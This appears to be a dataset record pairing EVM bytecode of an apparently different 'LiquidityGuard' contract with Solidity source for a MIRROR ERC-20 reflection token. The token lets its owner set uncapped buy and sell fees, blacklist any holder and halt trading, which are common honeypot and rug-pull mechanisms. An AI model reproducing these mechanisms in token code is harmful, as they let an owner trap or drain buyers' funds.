784503a3c4481145c2aff50265fddb5cc9055630b6767bb7fbccdf25aa5c0d874515b87bd6f674c474a1a55f4a8e5ea9ad1f76d9e23d1076255630b5e6ca77fa45829c0d7937add0d0ea126774c5c19153466fe6fcc39c48a20b034e6d086eb55630b557fcf7f5e5795fb2d31bee2faaddd156916c33734d06867fa3c53270c0712cabbf7e5ab55630b4ca1117f33506f516ccc26a588d6027a180b24d91821d3770ca73a8d32809300abc9203155630b43d04d7f37e88f3646e45d1477912fce9e36a902855c21048bd1fe48360f5110de3e795455630b3b0d607ffd3caf6aa37564faed16f7a8b327881268f44f93babdceddece2fd7938cc2c1455630b32582c7fd4b92498c1d0db955ced44a4d559b2ba0c51a334d8f76f8e8fed69181240e44d55630b29b08f7f60db7fcbc33d06df5d42272ac24d8d2d0e72f219ae210bd7e3aebf548d3f9ec655630b21166b7f803db42d45f6a4ceb811325c12b79f99112daff3ca6af234316068b161fbeddf55630b18899e7f3081c42330f8d7fc16235d108721b392e2184303a3b206e7693df3f695749be155630b100a0c7fa580f41572cebeb4fa48e64cec4eeb7eec099bbbe3a99b291c59a8d850bf7f8655630b0797947f85ffce5ad4b138109eb8222b1c1e1958f0af51039935db0aee9ebe15cdd4756855630aff32197fdde2686a62e646ed47b3fc12c722835d3c175cc14ea7d092682fbed3ad8ad6d755630af6d97d7f1525cc5306c8ac68fdb28f2e30ba7632b166064304681d656b96581fe51f9cf455630aee8da27fb40b7a5ee2212eac2d63631f653577084e97e031b90dfa14b4eb608767796a6055630ae64e6c7f06b0e4b90a2c358106145993ab55fcf37607de98489521b0d4891e738f07e9ed55630ade1bbd7ff21d087a736ab46e2a50735fc2b3143e777b277703263278bb2492946b073dfe55630ad5f5797f2131838816b58b7493a6a0994cc690fe87e719b721701b3c2039c76c6cfb712355630acddb847f485a553473171b74bbe2acfe748d85ea126e6ee3e0ddde697974f9b369bd8f6355630ac5cdc27fabbf3a73a38afe8badfdad50f1d47e77f948214fe352e1795d373bff9ad00d1f55630abdcc177f0c48752b64b344f7479faa2beeeb79b218a38a7931e204d63325af7a730a234b55630ab5d6697fb1a5a1f2e6592164e00c993bef6dc7db3c970834c35fd4597c9780f04471702255630aadec9c7e8010353f8508a4f52b29945e4c1b73e5f86fdf4077a7939ccb7c057229b20a55630aa60e977fe9bdeb3e5d0d63c84612268e0db9fdf8b3c060b55d5f03ca99129b65114fcc8755630a9e3c3e7faac136ecb5b0b85f19c33d8677dd733803f0ef8ccaadac8a6ecefe8b5069afa755630a9675787faf6c6c046fd282fc4211c0f0bc6f2ca47643433ef63b46850c0b925148a9ca7b55630a8eba2c7fae292e3e7dc2993850eadadb7543597fdb658d2618593b0ee3ba43f6baa7f57755630a870a3f7fe2856795e0a4d074da84f0205d2f0541aa4e049519be2bc9c8715c76d89af9eb55630a7f65997f9df2eba419f668b913ae09cb1f40c7dadbb365751b21bf6751949acc21e9246755630a77cc227fad10a701396a2a715f97b91f9b00d16d96859ad240cac2334f0da250e9716c6255630a703dc07f94e98281b829f6ef07c9396f7c80b91f5e12f09af4712b15e40d32245b47e7b555630a68ba5c7f741fc6a9d948150d776b0a49cc22f09ecddd2e22a404a13d42fc9c98d6569d6a55630a6141de7f64cef37f8678c8aa29ba5ffe8fd6e7133525f734f6ba975959d82926560c2f3455630a59d42d7fe3fa8f49a628ced0fbca82071bd35d7844a3a6a4e99dd1550042ccc60f8fd6b455630a5271337fee1541b7687d7ca9b4e8acf2f886a0382f59239fbb39aa73d91e27baac49c76155630a4b18d97f831c4a33706db94a29518b539c206f6997a0a45215d1133376edf5bab347bf5755630a43cb077f4aa918fbac35cde37ade22d93d13017c948b32207d1638e498e0a9dcca27c22655630a3c87a77fe075d265f4657175e2cc7820122219d0b0539b7f38c5f620269d875b12e6beae55630a354ea37f48ba9e53e78b076925a2c4b62407a3cb2fff91e0bb1a35f9f946b1d1f80863be55630a2e1fe57ff9bbb3f93401c5b46afffdb0fc6007e70524ff81deb201b0fc27952a46fa45a655630a26fb567ffa608e8a33adcbf24c94fb72b990d5988429f9a8e62e25861439b94e722d35c855630a1fe0e27f4412d47ea74e5ca7edb3bf9e65d45a229673dd0d446b605f2cccc3e66ba035f055630a18d0727f99706483c291d5c2fda43f8acff7b7bbab6389e2a5310e685eac2cc4111d4d7355630a11c9f27f47f2f12be8479fa9108252433d02c0b5f5a7a6ae87e3d5253a5be2623800367e55630a0acd4d7fd888ed5f7d87c3d9ce32c348c25c9918501ad27cba7f444f4f15e3052cb27d9455630a03da6e7f6f65c372d59e3a397cdf297b8360dae9326f7fdad784386c876bda775b92a936556309fcf1407f69e6179c17bbb1fee392f8d02fc1eec4157b493c2c46b76823d195b47932069b556309f611b07f2c18f621f816434e3b9e5878cd6fea1c746f9515c874e1cb17812dd1710c54f8556309ef3ba97fa448772bcacc256080f43c29f0d158dcca0611051f4079a22fe8e6f207db12a1556309e86f177fbb761e815554ea97f5d86e55cdd60f9f8fc92f0851d2d47032fdc5373df6baa3556309e1abe87f9b6ed427386e625e5f60b98511fe5a2a565adf1eafccfc208c7dc623e3f2abfb556309daf2077f5a229be424e883a068fab70bfd24c2e1e5839b6f5229a9286ecc43aabec35c50556309d441627f67ae13a14aafc191989161d5111f058800fdb20cb55d0365b9d5cadfcf533f56556309cd99e57f1f7855a259e2cb24548896ac95ce6a74719a66a4a67f7c07ca694488f8ec983c556309c6fb7e7f2fcb7391905ba0d271ee8f52a5cd79907d535c39ee7af75b2da68f5cbee21330556309c0661a7f5bdd53c4c2803542b3606596fb5556e1f6dee224b9d9a1d1856bc6d953d93a0b556309b9d9a77f19485e380511b5f7aac8f3ac597309571e3e794bae5e9808e7d09dc6f09cb928556309b356127f9273150c6971e6284c8b26496b3ce546c9c801ab9386f76253131a12a81f9041556309acdb4b7fd1ce03dd36125f13c859e4363ac487f37c8a0fb81d5aeefbd49a350af593df24556309a6693e7f83e93782c76831bce3a2c268db71dec03f6c217bb1ba8e0563038b947e52aaea5563099fffda7f39956059a5e4b78ef8223190dbd2240084f0d2636df30e6b2b13f661490ee548556309999f0f7f2abb814fbd19570316fc9aebbe9baa61dca64851a5d29c3aa875be32e8a60b9c5563099346c97f8f146e9a1e983bc3ae4ffe7463b63018f461de139b9241eb325069c2f1d0ab435563098cf6fa7f87dedd1fb343abe43e70ea3d23020e54de92d0eb8790705dec0d2cea022565b055630986af8f7f6dcefe953c1c162781dd0ebc1c38e3e2de604c1e58d84153afa728e0b086862c5563098070797f693db4ccec80db91e6a11fcdc7a6e6857cc333c3934b433ed94cedda774fc7875563097a39a57f3b920aa788439bc14e774f67eee41a8183928be2aa9f41322efce48745d01c19556309740b057f92e3d281bfd198a410f764f73ea94273a6f8e824250691c981e5de9b595aa3145563096de4887f04242e7635377e2a88f1e0ff4f891eec4ddbaf0a65e0fc08454715870146d2e155630967c61e7f9cf181d7a5bef0dbf35e7a12833f79963a87255e48e8087b2f5c27ccea89baf455630961afb77f759184f367f94c7ee049d9b2bd24d9348c2c561d2661cdaf890c0e5a5914113d5563095ba1437f06b22ee83b4d4d6edd302734aa83780f5ee8a3ce2c45c8d78399f53c301cebab556309559ab37f25b46c2ab4cff21337bb2baf385f2bfbc9d737df4af1803f3ec9103f2448c7d45563094f9bf87f8e0e7587ff738e78b18397686376f3823bd0cbb99b4d85747f7ec52c425a62e555630949a5027f36aac2c28f6dc04c17b7320fa8dc08d68036264bffa9b4373b9e56dca1b48c7655630943b5c27f8051f8fb28c434c8d7ea942fae52d868b82a5926edc149f3f83044b8435b78745563093dce297f57d260c541c570b48a9841490669b8ced2988b8d3fbc06e616e3d50b7fd3fdf955630937ee297f84013a9297b90744bc11a65a303bcbe3b69e05dc6998a770d25a7e80ae60da135563093215b27fb87ff2ca29b6437c0061061b8c86bbc7d7b057ccd1042ceeb4088c37473a091b5563092c44b77fdf06cd43c154c34833c391e0b3d017925f85f614fd4cc461767425f5d09399f3556309267b297fd185874b797a646d44113180e9797d8ba4f78e546663282fb364a27b45e671e955630920b8fa7f76e0463f284f880a13f3ac5ac24906ee481199bb745ad87909e7d274d1f09a7f5563091afe1c7f1934df17d92840d83b2112df40e6c142c079318ab130ae2c61400811eb157fc4556309154a807f66280b38556ec6234afd9d0d088222238f0732c7c2445b4be21afa4e579576835563090f9e1a7f49610f2db544f508f0648b58cab1f2f5c11149eaa1ee4c652fd049da60913a7455630909f8db7f1fa88f20705c60c7dad7ffd920a51b89a362640c4f9ea9fba5a2a5a2c90fd3be556309045ab77f6013b608603914477b25c9dbbff1cd7f164b48267cb6aacfd3554afc994b79d5556308fec39e7fb3cfea4c3ff9508f619da582db0619cbcd7ff6c4da27945bb804e14e5384cfb3556308f933867feffd2c04f357f2586e130006bf605523d4b315da5f01b190070d696078262c56556308f3aa5f7f4779e893057b0c09c058cd15d06678f9c16deca727344372093e290bb87e73e1556308ee281e7fd5222d25bd49facb877e7a82c4efe35d8bb73b759ec318cf86ce19756c1b3393556308e8acb67feec3c40ed18025b1d7321e4b692a27f33ac52c387682e0f6da0a3f5e1f84823a556308e338197fe38e548400af521a62fc87b1a9923c906f9a57a1a30f7ca1eac9cf9bed4abb17556308ddca3b7f17d1ecbe1041899f9dfd85a688e571936761b02a319813302068204f8e002ac7556308d863107f7c052f07047c31def3501c6f9ede3335e963e14b9bdea0b39ea8b4d5fb44af09556308d3028b7fa987072ce0286b668e94416bd442b842d212af5bc74329767f00bda405172f32556308cda8a07f06c9f6cde51963374801962325c573662673eb01a9b41caf4f7e7d845e366381556308c855437f94ea9554fd4855de6b8234cb193433d5300824a3d563219f0499e84052f1918e556308c308687f8b287345d7cd2e46cdd176f420a674108361a435eebfde82b766041ab36e4b5f556308bdc2037fc3e55de5053fa74f47704ed4bf497443849dcb9ab3daef1fa566d18ab2f2e573556308b882097f51b0ad660302c797e70cbf844b28098f615c37773b6341408e36cfcf626b533c556308b3486c7fa8fe40d315f2d7aa3d14f615ac483a74e09dfd133f918140d59b20775652a8ce556308ae15237f43348efb6deec874af7da73cf49f2f5690d89fb0798bdc3e7cee95b397b28274556308a8e8217f99046607c5f76a57d521e7f00045abf22b851e12df9cbc17e38982736e03cb80556308a3c15c7fe6d23755f661882e47dff664c9b9523cc9f9e38531103519f4aae3e1de4692825563089ea0c77f46c5f96cc8b62b075b52b03088bbb9e74a1d24ecc14be9de84b39519f11dbfa05563089986587f4777c58a2a62a412f197e7caf67dd4a31e35ae05ba8dfe734f2bc1e1b932c28d5563089472047fdb42aa203ca83601af9e2d07957733866a382fdc6f126799d41ca9baff9562415563088f63bf7f6eb8e3f0d4843dc445aa9031f8aa4a041ca792ccc87cea4768b17793d32f53e75563088a5b807f3e8ac4ac22902829a84a81860ed4fc080ad4949ab93923d1f2300409814dd0a055630885593b7f0492136eac279a82b984287149befb3a2bf06daeebf98de0d5f1f364ef94f03f556308805ce57f1170c23bd073b0ddca29745bd24cff2da03340efefcca1d33fbb6d168f5249275563087b66757f6eca8170e749f2b3307493984b2dd8ae72e747132434a3f0e596512300ac8e2c5563087675df7f1d33c5cf683a2980ac09ca04e3a7034eb6976cec4c5e0b768869c3017322f845556308718b1a7f2e6f921c02752e339da07b2a89ea2508aefb98f974c205da8f30e594179692f55563086ca61b7f1de860ab16ecfe7acdf34aa35a79c1a86f0ccb32d1593f4981dec16259e5749d55630867c6d87f6f4a402859f399eed74c7071b28cfe69a78f1b8aa3fdadbdd550abb6e388e50155630862ed467f801fc136fe321351a7816be1ce8b9804807228cda1027d1033f7c60759fe51b45563085e195d7fa80582eeb1d295d7acb4fe5f1b8af530113b8cdba7c3929557dde6bc8fe63fdd556308594b127fe1f7bf0da34955c8041e1352c8fd96e2522b497cce6810420436ccfdcf18d38955630854825b7f01f688c58359a06d77fdbc8e40cb9f89ebe4310bdce3befb6b9534dd08cce12b5563084fbf2e7f82c512b1ec1c80faaccdd27dcc8bfd5f90d7687355bca2367a4f8dc11733a7d25563084b01837fb53f1327bcdac5d44435e914e0b78fb97079c0381d8eb3358a6be8d257ab9cfd55630846494f7f1c2e153ad43149b751761e632a3a1d3bd4a090d21f36c5cfe94be06fa078e8e25563084196897f9931a0c85a375fe99b92aa9d7e067f952c22ab28e614d3404c64ab069b5bdeab5563083ce9287fec3999f8c0a73b4821e2d74d192a8088bef5beaafe6b4f784640f6cfa967de6b5563083841227f08b767a3aacff42bdf1e71abf516c287f185974824523326f799fc2e0177b3dd556308339e6e7f700bd4adc809a6c03bb53858beeaa13387efee156005da5d025e2a0e4c6e43885563082f01047f1968513b2a4fc8c5c370cc51a6d0d21d9cde05bafc2d342e02de21daf79eb86c5563082a68d97ff39acecb4dddd25dc78e99d3e82fd53040d7f3829334cfdd327f3b684c7f92cc55630825d5e67fa7c56ccc1f0c30765b42a60783a103b69fecff7b4f7e3d03bdcd721f478015245563082148217ffe40bf1a88d79c1f0978430d7b68ec734a6d85afbf3a324a8e835cab1717c0245563081cbf827f4a791adc8e7d46d1bb8fcd6dd5dfa8ba413f711b8ddb32d1b3c2a8312b62b66e556308183bff7fd09d8b7641bd3386fc013a5324a67306eb60397a53ae803aead53a3e1b11d89055630813bd917fef2a0ac2e0eed0c4264ac596a14b74f69b0e8f3c0142dc355ecdd7bb3aa285075563080f442e7f7ec34337c476e1b6b965f26ee07aff01168af9b4fac4e59dcd82ffadf0d2627b5563080acfcf7fade825c2e1040f0436fadcd61b0b2dd43318e395b7acebf38c494a5f88a6785e55630806606a7f2a85d55754ac157b3a99dea4fb111d1555edcaa30a8d41273c0a4cce706750a155630801f5f77f62f2175bc8b3229601afc0ed093577008102155a6d77fb62bae93fc5bb0d3172556307fd906f7f805c77686063150d30ba8f1b5769595bd0bdea8693342752050559c53ce9c1d6556307f92fc97f9b1c74318e6974493322dbdb23cecc67aa17666db9daf1e26dfd84dc3c995089556307f4d3fd7f347570a2b5fbf63999babe9cf934a9af7b9396a3a997d84b5ac244d5ba9b9923556307f07d027fa40efa242bb12d4774e68cafe983dc020b16114aeca206d961a044dc0327d94b556307ec2ad17f915f0d4101f2132bac25ef06158df4c8ffec8752bf19999aeb596634456a38d1556307e7dd627f4935647c827e4bdd0b18529a8bb0b399be1484e3ab018fc32605bda5fcbe6d18556307e394ae7f2c774487d647539d8d1eaf5ba0f1b83f1a3ebc0662c9564c1b6d568b142b132c556307df50ab7fd390fd7e6387d4c9669ec44bca25060f9571efcdefd9cabe48446116226d4d6a556307db11537ff4d0773367d613a5f8b5cd00f126b94021d3b58d9b31a2cca4a7ba6642446666556307d6d69e7fe2e53e21a210599110d340d4eb28e116709b7782d573ee76a2353419bf321c57556307d2a0857f8e2daa127bcf22a6e70236feb17cef313987663caf9d3cc2b0a7f65dc8aae77b556307ce6eff7fe374d9568d19d4bf84f018ba55d903c52d4108aa45e5f23e662bc625fa6a87c3556307ca42067f35b04f1154cd0bf37f080a814450631b5a68159ddcc76a9ecc63ef8c6ce301ce556307c619927fe5a547ef5a6b87b057b55fea78ba100ea3f616efebedd32b5092d0ef68217478556307c1f59c7f9070d9c6c6e6c600090cc44af55206f03dc7b1974943b836a6fa98643df2da42556307bdd61c7f308f04430e1a472a6ad5a87ea1c9ca460940a457f9b63456cea4cb9b6d02da15556307b9bb0b7f0dc7050e9f29d2851ef915a670e65066e28eaf33204fffeb64e26efe84b7c37b556307b5a4627fec5a7d58d6bafb704818d3827b88dec0e018c209a85b0d2154651075fb2e0ced556307b1921b7f259fc9cb87b293bcac27376dccae8ce9e24f13c630ab3570db61a9feb93ba2e7556307ad842d7f53b073c6f9c6a098da86bfc2a7c12f1e5720cb50ec7493bbcbf5894efd17d396556307a97a937f89ca9d23c02c9be5cf8073cfa67bcdcc394f7d1cbdd34e52a1120c0dff8f9886556307a575447f4561e63e44bb04ec100158959b822ccbad7c55263db2ec41f46a8e805d750a93556307a1743b7fcc9892f5d067c11c72d3f1e067c8b0f2cadbef7f2bd10dd4aa8e10315dee77d55563079d77717f17ca0add093a90a301c5a701bcc464f3555aead690c0da6d918563c486125251556307997ede7f5297f697c473efb919176a9198ab61f2537e390ddf021f8a8738cfadd9cd21c8556307958a7c7f55fb3cd9b14f7a1a286984ecc977a31819f9319ba36777e5c84c2fb1fe7d33b6556307919a457fc80e299b330b761e03b30b24f1a948d3eb610e8ea6778ea244e6f462f27068825563078dae317f971374321fcd1e23d5ce7440d20f03092211297697316ef657119a16346a388e55630789c63c7f01f0ae2f632ed79b7325d1fc02ea39cd7fb56462285ea18619a2182891c8563155630785e25d7f65a8bfd86b6453e48c2ff0f21cc97b7aaa1ccc0de4004956dfae69c3689adb1255630782028e7f3f6489c84b4a390651cfff0d2ffdf4b6fe54acfbf481dd9e10e94717f2a576b65563077e26ca7f0a25afdee228585c3e76e7c79fd207d191b68889152fcc578a8a6f3b8a5959e75563077a4f097f2446cf7f80a32d44e564172fe4f54d9746d19361a5c099bf81789a99c9eeec16556307767b467fa54e68f4ab4c70502439361e38eeaa757e8d11446bbb50f172dd18fdd1fb887c55630772ab7b7f82e9638e46550ba74f9f4262c8ec2a8825af0cf8ade0d7e14c7a533515dca78a5563076edfa07f265fef9a6d4612948fbdbc6ce120033cd35802136840ec3cae5110f348223a915563076b17b17f810ba0bbdf2b7e70b496df9b2dbd9384eb65491416d2859541aed327a959f57d5563076753a77f290bf1626838582b9c3d8ff0d8dbe2028cd10ac49ccdf2892853a323e6bee99e55630763937c7ffcfc36a76066d37a94e855ae943b8a6db43efa688d52c3eebb08ffa06ec28e235563075fd72a7f73a910bb93aa481ecdf2f21e59120c7fe5091adc7caceaf1da83f1ef40ae145d5562019258905263075c1eac7ff0bebeec8f901eec35cb3c0d2c3c42ccac8cab6fa85da01a9e2503baf87fb5ec55565b63ffffffff166000908152602081905260409020549056fe4c697175696469747947756172643a20616d6f756e747320616c726561647920646566696e6564a264697066735822122027faaf02f69b63408895460ce45113b8f14c2817fac446fed3e620c6eac8bf2a64736f6c63430007000033
{"success": true, "error": null, "results": {}}
3,070
0x81af45c91aa225ab85d799d6b0e2463cd2e23d6b
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MIRROR is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MIRROR"; string private constant _symbol = "MIR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc868B5D75472456bb5f7619B3C339A60cFB6bB54); address payable private _marketingAddress = payable(0xc868B5D75472456bb5f7619B3C339A60cFB6bB54); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3700000 * 10**9; uint256 public _maxWalletSize = 14800000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
